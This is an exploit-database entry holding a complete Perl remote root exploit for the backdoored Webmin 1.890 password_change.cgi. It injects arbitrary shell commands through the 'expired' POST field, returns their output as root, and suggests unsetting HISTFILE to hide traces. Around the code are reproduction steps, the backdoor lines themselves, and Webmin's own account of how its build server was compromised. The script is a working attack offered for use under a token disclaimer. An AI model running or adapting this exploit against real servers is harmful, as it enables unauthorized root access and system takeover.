Webmin 1.890 expired Remote Root Exploit

2019-08-26T00:00:00
ID 1337DAY-ID-33160
Type zdt
Reporter Todor Donev
Modified 2019-08-26T00:00:00

Description

Webmin version 1.890 (based on 1.920 research) expired remote root exploit.

                                        
                                            #!/usr/bin/perl -w
#
#  Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#  Installation on CentOS:
#  rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#
#  Tested on CentOS
#
#   Reproducing:
#   [[email protected] ~]# rpm -ivh https://sourceforge.net/projects/webadmin/files/webmin/1.890/webmin-1.890-1.noarch.rpm/download
#   ......
#   [[email protected] ~]# sed -i s/passwd_mode=0/passwd_mode=2/g /etc/webmin/miniserv.conf
#
#   Restart Webmin and test the exploit..
#
#   [[email protected] ~]$ perl webmin.pl localhost 10000 id
#   [ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit
#   [ ====================================================================
#   [ First time released at Defcon. Thank you guys, for all..
#   [ Exploit by: Todor Donev <[email protected]>
#   [ ====================================================================
#   [ Usage: webmin.pl <host> <port> <command>
#   [ e.g. webmin.pl localhost 10000 "unset HISTFILE;uname -a;id;uptime"
#   [+] Target: localhost
#   [+] Server: MiniServ/1.890
#   uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:system_r:initrc_t:s0
#   [[email protected] ~]$ 
#
#
#    ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! ATTENTION !! 
#
#  Guys, please give a star to https://github.com/otvorete/petition
#  to support the cause of the Bulgarian Hackers (Developers) Community.
#  We want to makes our Electronic Government more securе, transparent 
#  and reliable. For this reason we want from our government to open 
#  the source codes of the applications. So support us with a star, 
#  please..
#
#  Special thanks to Konstantin Spirov that starting the cause!!
#
#
#
#  Very smart but easy to found it:
#
#         Webmin 1.920 - Backdoor
#    o    [[email protected] ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;
#         /usr/libexec/webmin/password_change.cgi:  $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
#
#         Webmin 1.890 - Backdoor
#    o    [[email protected] ~]# find /usr/libexec/webmin -type f -name "*.cgi" -exec grep --color -H "qx/" {} \;
#         /usr/libexec/webmin/password_change.cgi:$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
#
#    
#  This function (qx) is a alternative to using back-quotes to execute system commands. 
#  For example, qx(ls -l) will execute the UNIX ls command using the -l command-line
#  option. You can actually use any set of delimiters, not just the parentheses.
#  This function returns the value from the executed system command.
#
#
#   Webmin 1.890 Exploit - What Happened?
#
#   Webmin version 1.890 was released with a backdoor that could allow anyone with knowledge
#   of it to execute commands as root. Versions 1.900 to 1.920 also contained a backdoor using 
#   similar code, but it was not exploitable in a default Webmin install. Only if the admin had 
#   enabled the feature at Webmin -> Webmin Configuration -> Authentication to allow changing of 
#   expired passwords could it be used by an attacker.
#
#   Neither of these were accidental bugs - rather, the Webmin source code had been maliciously 
#   modified to add a non-obvious vulnerability. It appears that this happened as follows :
#
#   o   At some time in April 2018, the Webmin development build server was exploited and a 
#       vulnerability added to the password_change.cgi script. Because the timestamp on the 
#       file was set back, it did not show up in any Git diffs. This was included in the Webmin 
#       1.890 release.
#
#   o   The vulnerable file was reverted to the checked-in version from Github, but sometime 
#       in July 2018 the file was modified again by the attacker. However, this time the exploit 
#       was added to code that is only executed if changing of expired passwords is enabled. 
#       This was included in the Webmin 1.900 release.
#
#   o   On September 10th 2018, the vulnerable build server was decomissioned and replaced with 
#       a newly installed server running CentOS 7. However, the build directory containing the 
#       modified file was copied across from backups made on the original server.
#
#   o   On August 17th 2019, we were informed that a 0-day exploit that made use of the 
#       vulnerability had been released. In response, the exploit code was removed and Webmin 
#       version 1.930 created and released to all users.
#
#   In order to prevent similar attacks in future, we're doing the following :
#
#   o   Updating the build process to use only checked-in code from Github, rather than a local 
#       directory that is kept in sync.
#
#   o   Rotated all passwords and keys accessible from the old build system.
#
#   o   Auditing all Github checkins over the past year to look for commits that may have 
#       introduced similar vulnerabilities.
#
#
#
#   SOURCE: http://webmin.com/exploit.html
#
#  If the exploit not works, please install these packages from CPAN with this command:
#
#  cpan install HTTP::Request WWW:UserAgent::Random LWP::UserAgent
#
#
#  To Webmin developers:
#  Guys, I think it's will be better Webmin to log POST parameters by default.. ;)
#
#  
#

use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;

my $host = shift || 'localhost';
my $port = shift || '10000';
my $cmd = shift || 'uname -a;id;uptime';
$cmd =~ s/\|/\;/g;

print "[ Webmin 1.890 (based on 1.920 research) 'expired' Remote Root Exploit\n";
print "[ ====================================================================\n";
print "[ First time released at Defcon. Thank you guys, for all..\n";
print "[ Exploit by: Todor Donev <todor.donev\@gmail.com>\n";
print "[ ====================================================================\n";
print "[ Usage: $0 <host> <port> <command>\n";
print "[ e.g. $0 localhost 10000 \"unset HISTFILE;uname -a;id;uptime\"\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
   $browser->timeout(60);
   $browser->agent($user_agent);
my $target = "https://".$host.":".$port."/password_change.cgi";
my $request = HTTP::Request->new (POST => $target,
                                  [ Content_Type => "application/x-www-form-urlencoded" ,
                                    Referer => "https://".$host.":".$port."/session_login.cgi" ],
                                    "user=gotroot&pam=&expired=2|echo -n OWNED;$cmd;echo -n OWNED&old=gotroot&new1=gotroot&new2=gotroot");
$request->header("Cookie" => "redirect=1; testing=1; sid=x; sessiontest=1;");
my $content = $browser->request($request);
if ($content->as_string() =~ m/OWNED(.*?)OWNED/s){
        printf(STDOUT "[+] Target: %s\n[+] Server: %s\n%s", $host, $content->server() ,$1);
        exit;
} else {
  printf(STDOUT "[-] Not OWNED.. Exploit failed! :((\n");
  exit;
}

#  0day.today [2019-12-04]  #